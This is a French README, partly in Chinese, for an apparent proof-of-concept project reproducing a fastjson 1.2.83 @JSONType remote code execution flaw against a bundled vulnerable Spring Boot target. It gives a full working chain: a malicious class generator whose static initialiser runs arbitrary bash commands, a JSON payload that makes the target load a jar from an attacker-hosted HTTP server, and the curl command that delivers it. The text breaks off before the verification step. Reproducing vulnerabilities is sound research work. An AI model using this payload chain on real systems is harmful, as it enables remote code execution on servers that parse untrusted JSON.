
Reproduit la RCE fastjson 1.2.83 @JSONType avec une cible Spring Boot vulnérable et un générateur de payload basé sur ASM utilisant des chaînes jar par protocole HTTP ou fichier.
@JSONType
Projet de reproduction du chargement de classes distant / exécution de commandes sur fastjson 1.2.66 ~ 1.2.83 via l'annotation @JSONType + nom de classe illégal + protocole jar:.
⚠️ Avertissement
Ce projet est destiné uniquement à la recherche en sécurité, à la reproduction de vulnérabilités et aux tests autorisés. Il est strictement interdit de l'utiliser sur des systèmes non autorisés, pour des attaques illégales ou à des fins malveillantes. L'utilisateur assume l'entière responsabilité de ses actions ; l'auteur décline toute responsabilité légale en cas d'abus.
Article d'analyse de la vulnérabilité : https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Ce projet met en place un environnement complet de reproduction de la vulnérabilité fastjson 1.2.83 autour de CVE-2026-16723 :
demo/ — Application Web Spring Boot 2.7.18 vulnérable (dépend de fastjson 1.2.83), exposant le point de terminaison POST /parse qui appelle directement JSON.parse(json) ;exp/ — Générateur de jar sonde malveillant basé sur ASM (deux variantes : protocole HTTP / protocole FILE) ;环境/ — FatJar précompilés pour trois serveurs d'application (Tomcat / Jetty / Undertow), prêts à l'emploi.Idée clé de l'exploitation : en construisant un JSON spécial dont @type est une URL jar, on amène fastjson à emprunter la branche de confiance de l'annotation @JSONType → getResourceAsStream télécharge le jar distant/local → defineClass charge la classe malveillante → l'initialisation de la classe déclenche <clinit> → exécution arbitraire de commandes (RCE).
| Élément | Détail |
|---|---|
| CVE | CVE-2026-16723 |
| Composant | Alibaba fastjson |
| Versions affectées | 1.2.66 ~ 1.2.83 (la dernière version 1.x reste affectée) |
| Type de vulnérabilité | Exécution de code à distance par désérialisation (RCE) |
| Point d'entrée | JSON.parse(json) / JSON.parseObject(json) (sans spécifier de type concret) |
| Conditions préalables | Cible en Spring Boot FatJar, JDK 8, safeMode désactivé |
JSON.parse(json) ou JSON.parseObject(json) pour analyser directement des entrées non fiables, avec une version de fastjson comprise entre 1.2.66 ~ 1.2.83 et safeMode désactivé ;java -jar, LaunchedURLClassLoader ; seule Spring Boot ≤ 2.7 conserve la capacité de repli du gestionnaire du protocole jar:) ;defineClass lève une ClassFormatError ; au mieux, seul un SSRF est possible) ;Le checkAutoType de fastjson entre dans la branche de confiance lorsqu'il rencontre une classe annotée @JSONType, contournant la plupart des vérifications de la liste noire et autorisant le chargement. Ce projet exploite ce point en écrivant directement le bytecode avec ASM : un « nom de classe interne illégal » est placé dans le this_class du pool de constantes de la classe, de sorte que les trois noms s'alignent parfaitement :
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Structure de la classe malveillante :
@JSONType — la clé qui ouvre la branche de confiance du checkAutoType de fastjson ;<init>()V — garantit que fastjson peut instancier la classe normalement ;<clinit> — exécute Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) dès l'initialisation lors du chargement de la classe, réalisant l'exécution de commandes.Un nom de classe illégal ne peut pas être écrit avec
javac; seul ASM peut écrire directement l'URL dans le pool de constantes — c'est la raison pour laquelle le générateur de ce projet dépend deasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java :
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Le laboratoire doit être exécuté sous JDK 8 (conformément aux conditions d'exploitation).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Adresse du point de terminaison après démarrage : http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — port HTTP d'hébergement du jar malveillantopen -a Calculator — commande à exécuter sur la machine cible (ouvre la calculatrice sur macOS ; sous Linux, utilisez id > /tmp/pwned 2>&1 et vérifiez si le fichier existe)Le fichier généré par défaut est x (sans extension) et contient y.class ; le payload est :
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Assurez-vous que
python3 -m http.serverest lancé dans le répertoire où le fichierxa été généré.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Le résultat de l'exécution de la commande n'est pas renvoyé dans la réponse HTTP ; il faut le confirmer sur la machine cible :